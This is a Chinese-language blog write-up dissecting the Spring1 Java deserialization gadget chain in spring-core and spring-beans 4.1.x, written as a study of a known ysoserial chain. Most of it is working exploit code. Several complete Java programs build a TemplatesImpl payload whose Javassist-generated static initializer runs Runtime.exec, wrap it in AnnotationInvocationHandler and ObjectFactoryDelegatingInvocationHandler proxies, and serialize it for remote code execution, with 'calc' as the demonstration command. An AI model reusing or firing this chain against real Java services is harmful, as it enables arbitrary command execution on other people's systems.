spring1 分析
条件
所需依赖是:
spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
pom.xml
<!-- https://mvnrepository.com/artifact/org.springframework/spring-core -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.1.1.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-beans -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.1.1.RELEASE</version>
</dependency>
链子
链子
/*
Gadget chain:
ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.findMethod()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.invokeMethod()
Method.invoke()
Templates(Proxy).newTransformer()
AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
ObjectFactory(Proxy).getObject()
AnnotationInvocationHandler.invoke()
HashMap.get()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
*/
分析
rce利用
package exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.ctf.threermi.*;
import java.lang.reflect.Field;
public class MyexpTest {
public static void setValue(String name, Object target, Object value) {
try {
Field field = target.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(target, value);
} catch (Exception ignore) {
}
}
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
}
就是cc的templateImpl
上面可以看到,只要templates.newTransformer();就会弹计算器
入口MethodInvokeTypeProvider#readOject
spring核心包有一个类:org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider
。这个类实现了TypeProvider
接口,表示这是一个可以进行反序列化的类。
看一下这个类的readObject
方法,先是调用org.springframework.util.ReflectionUtils#findMethod(java.lang.Class<?>, java.lang.String)
方法,传入的参数为自身的provider.getType().getClass()
和methodName
。
然后调用org.springframework.util.ReflectionUtils#invokeMethod(java.lang.reflect.Method, java.lang.Object)
方法,反射调用执行findMethod
获得的method方法,并且这个反射调用是一个无参调用。
如上图,methodName
我们可以通过反射设置为newTransformer()
方法,关键是如何控制provider
的getType()
方法返回的值处理成 TemplatesImpl ,就可以触发漏洞了。
如上图,看了构造方法,发现provider就是TypeProvider可以自定义,
但需要满足要求:Type类型
很显然TemplateImpl不是Type,所以还得接着找gadget
ObjectFactoryDelegatingInvocationHandler#invoke
在srping-beans的包中存在org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler
这个类,实现了Serializable
和InvocationHandler
接口。
表明了这个类一方面可以实现序列化,一方面可以实现动态代理代理某些类。
在 invoke 代理时,会调用 ObjectFactory 的 getObject 方法返回ObjectFactory
的实例用于 Method 的反射调用。
看下构造方法
ObjectFactory 的 getObject 方法返回的对象是泛型的。
AnnotationInvocationHandler#invoke
老朋友AnnotationInvocationHandler,最早见面于cc
sun.reflect.annotation.AnnotationInvocationHandler#invoke
最后代码会来到选中的地方,
在cc1中(yso版本),我们通过var4赋值为LazyMap实现了反序列化
memberValues
存储的即是AnnotationInvocationHandler
初始化的时候传入的Map。
var4是需要调用方法的名字,然后将var4作为key在Map中寻找对应的value,最后将这个value返回。
这个类的invoke代理的利用思路就有了:
如果说我们想控制一个类的某个方法的返回值,可以构造一个Map,里面的key
是需要更改返回值的方法名,value
是对应的返回值。
然后用AnnotationInvocationHandler
来动态代理这个类。
这样的话,当我们调用代理类的对应方法时,该方法通过AnnotationInvocationHandler
的invoke()
方法后,返回值就被修改为需要的返回值。
exp
TemplateImpl
...
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
...
AnnotationInvocationHandler 动态代理
前面说过
然后看构造函数得知这个var2可以在这里赋值
由于这个类不好直接new,所以我们反射的写
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
这个map是什么呢,前面提到
这个类的invoke代理的利用思路就有了:
如果说我们想控制一个类的某个方法的返回值,可以构造一个Map,里面的
key
是需要更改返回值的方法名,value
是对应的返回值。然后用
AnnotationInvocationHandler
来动态代理这个类。这样的话,当我们调用代理类的对应方法时,该方法通过
AnnotationInvocationHandler
的invoke()
方法后,返回值就被修改为需要的返回值。
由于ObjectFactoryDelegatingInvocationHandler#invoke方法中,会调用一个GetObject方法
this.objectFactory 是个泛式,我们期望它是TemplateImpl类型,同时又含有getObject方法。所以可通过AnnotationInvocationHandler
来动态代理一个含有(“getObject”,TemplateImpl)键值对的map
由此写出
// 使用 AnnotationInvocationHandler 动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<>();
map.put("getObject", templates);
InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class, map);
ObjectFactory objectFactory = (ObjectFactory) Proxy.newProxyInstance(HashMap.class.getClassLoader(), new Class[]{HashMap.class}, h);
ObjectFactory要看后面gadget需要我们是什么类
ObjectFactoryDelegatingInvocationHandler代理
很有意思的是ObjectFactoryDelegatingInvocationHandler也是个代理,很逆天的是这个必须用反射构造,因为是私有方法
首先还是一样的写出反射构造
// 使用ObjectFactoryDelegatingInvocationHandler代理
Class<?> c1 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> constructor1 = c1.getDeclaredConstructors()[0];
constructor1.setAccessible(true);
// 顺便把构造函数给写了,前面的objectFactory传入
InvocationHandler h1 = (InvocationHandler) constructor1.newInstance(objectFactory);
然后map就需要看后文需要什么样的方法,发现MethodInvokeTypeProvider#readOject需要我们有getType方法,这个provider要求是Type类型
同时他又必须得是templateImpl类
// 用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
Type type = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, h1);
最终
// 使用ObjectFactoryDelegatingInvocationHandler代理
Class<?> c1 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> constructor1 = c1.getDeclaredConstructors()[0];
constructor1.setAccessible(true);
//InvocationHandler h1 = (InvocationHandler) constructor1.newInstance(Override.class, map1);
InvocationHandler h1 = (InvocationHandler) constructor1.newInstance(objectFactory); //构造函数
// 用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
Type type = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, h1);
代理TypeProvider
需要调getType的时候触发,想到之前的map,可以自创一个方法和返回类型
于是乎map
HashMap<String, Object> map1 = new HashMap<>();
map1.put("getType", type); //需要是一个Type类
然后意识到这个map不知道要放哪,这个地方去求助了一下su18的exp
// 代理TypeProvider
// getType方法仍然需要使用 AnnotationInvocationHandler 进行动态代理
HashMap<String, Object> map1 = new HashMap<>();
map1.put("getType", type);
InvocationHandler h2 = (InvocationHandler) constructor.newInstance(Target.class, map1);
// 注意到这里的constructor是AnnotationInvocationHandler的constructor
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, h2);
明白了,要自创一个方法和返回类型,只能用AnnotationInvocationHandler是吧
所以说map放在AnnotationInvocationHandler
所以关于自创一个方法和返回类型有一个固定的写法
// 使用 AnnotationInvocationHandler 进行动态代理
// new 个 AnnotationInvocationHandler
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
// new 个 Map,自创方法类型
HashMap<String, Object> map1 = new HashMap<>();
map1.put("方法a", 类型);
InvocationHandler h2 = (InvocationHandler) constructor.newInstance(Target.class, map1);
// 注意到这里的constructor是AnnotationInvocationHandler的constructor
// 提供你需要的方法的那个类
Class<?> class666 = Class.forName("xxx.xxxx.xxxx.xxxxx$那个类");
// 使用 AnnotationInvocationHandler 动态代理 class666() 的 方法a ,使其返回 typeTemplateProxy(自定义)
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{class666}, h2);
这里方法a是 getType, class666是TypeProvider, 类型是Type
MethodInvokeTypeProvider#readOject
反射
// 使用MethodInvokeTypeProvider
Class<?> c2 = Class.forName("org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider");
Constructor<?> constructor2 = c2.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object h2 = (Object) constructor1.newInstance(Override.class, h);
看构造方法改前面写错的
//InvocationHandler h1 = (InvocationHandler) constructor1.newInstance(Override.class, h);
Type h1 = (Type) constructor1.newInstance(Override.class, h);
//想改TypeProvider改不了,只能改成父类Type
所以变成
// 使用MethodInvokeTypeProvider
Class<?> c2 = Class.forName("org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider");
Constructor<?> constructor2 = c2.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object h2 = (Object) constructor1.newInstance(Override.class, h1,templates.newTransformer(),1);
但实际上和网上exp有些出入
// 初始化 MethodInvokeTypeProvider
Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> cons = clazz2.getDeclaredConstructors()[0];
cons.setAccessible(true);
// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
Field field = clazz2.getDeclaredField("methodName");
field.setAccessible(true);
field.set(objects, "newTransformer");
由于由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())这个是比较特殊的,所以初始化时把newTransformer传入就没什么卵用,咱只能反射再修改属性
最终exp
自己手搓的
package exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.ctf.threermi.*;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import org.springframework.beans.factory.ObjectFactory;
import javax.xml.transform.Templates;
public class MyexpTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
//templates.newTransformer();
// org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider;
// org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler;
// sun.reflect.annotation.AnnotationInvocationHandler
// 反射调用newTransformer
// Class persons = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
// Method action = persons.getMethod("newTransformer");
// action.invoke(templates);
//new ObjectFactoryDelegatingInvocationHandler();
// 使用 AnnotationInvocationHandler 动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<>();
map.put("getObject", templates);
InvocationHandler h = (InvocationHandler) constructor.newInstance(Target.class, map);
ObjectFactory objectFactory = (ObjectFactory) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, h);
// 使用ObjectFactoryDelegatingInvocationHandler代理
Class<?> c1 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> constructor1 = c1.getDeclaredConstructors()[0];
constructor1.setAccessible(true);
//InvocationHandler h1 = (InvocationHandler) constructor1.newInstance(Override.class, map1);
InvocationHandler h1 = (InvocationHandler) constructor1.newInstance(objectFactory);
// 用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
Type type = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, h1);
// 代理TypeProvider
// getType方法仍然需要使用 AnnotationInvocationHandler 进行动态代理
HashMap<String, Object> map1 = new HashMap<>();
map1.put("getType", type);
InvocationHandler h2 = (InvocationHandler) constructor.newInstance(Target.class, map1);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, h2);
// 使用MethodInvokeTypeProvider
Class<?> c2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> constructor2 = c2.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Object h3 = (Object) constructor2.newInstance(typeProviderProxy, Object.class.getMethod("toString"),1);
Field field = c2.getDeclaredField("methodName");
field.setAccessible(true);
field.set(h3, "newTransformer");
// serialize(h3);
unserialize("ser.bin");
}
}
直接就用了su18
师傅对spring1
分析的POC
package exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.beans.factory.ObjectFactory;
import javax.rmi.CORBA.Util;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
public class SpringExp {
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
TemplatesImpl tmpl = new TemplatesImpl();
setValue(tmpl,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(tmpl, "_bytecodes", bytecodes);
setValue(tmpl,"_tfactory", new TransformerFactoryImpl());
// 使用 AnnotationInvocationHandler 动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<>();
map.put("getObject", tmpl);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
// 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);
// 当触发factory.getObject()方法时,返回值就被修改为tmpl
// test : factory.toString();
//ObjectFactoryDelegatingInvocationHandler 的 invoke 方法触发 ObjectFactory 的 getObject
//并且会调用 method.invoke(返回值,args)
//此时返回值被我们使用动态代理改为了 TemplatesImpl
//接下来需要 method 是 newTransformer(),就可以触发调用链了
Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
ofdConstructor.setAccessible(true);
// 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);
//HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler);
//hashMap.get(1);
// ObjectFactoryDelegatingInvocationHandler 本身就是个 InvocationHandler
// 使用它来代理一个类,这样在这个类调用时将会触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法
// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, ofdHandler);
// typeTemplateProxy.hashCode();
// 接下来代理 TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
HashMap<String, Object> map2 = new HashMap<>();
map2.put("getType", typeTemplateProxy);
InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, newInvocationHandler);
// 初始化 MethodInvokeTypeProvider
Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> cons = clazz2.getDeclaredConstructors()[0];
cons.setAccessible(true);
// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
Field field = clazz2.getDeclaredField("methodName");
field.setAccessible(true);
field.set(objects, "newTransformer");
//serialize(objects);
unserialize("ser.bin");
}
}
reference
Java反序列化之Spring1链分析 - 先知社区 (aliyun.com)
https://su18.org/post/ysoserial-su18-3/#spring1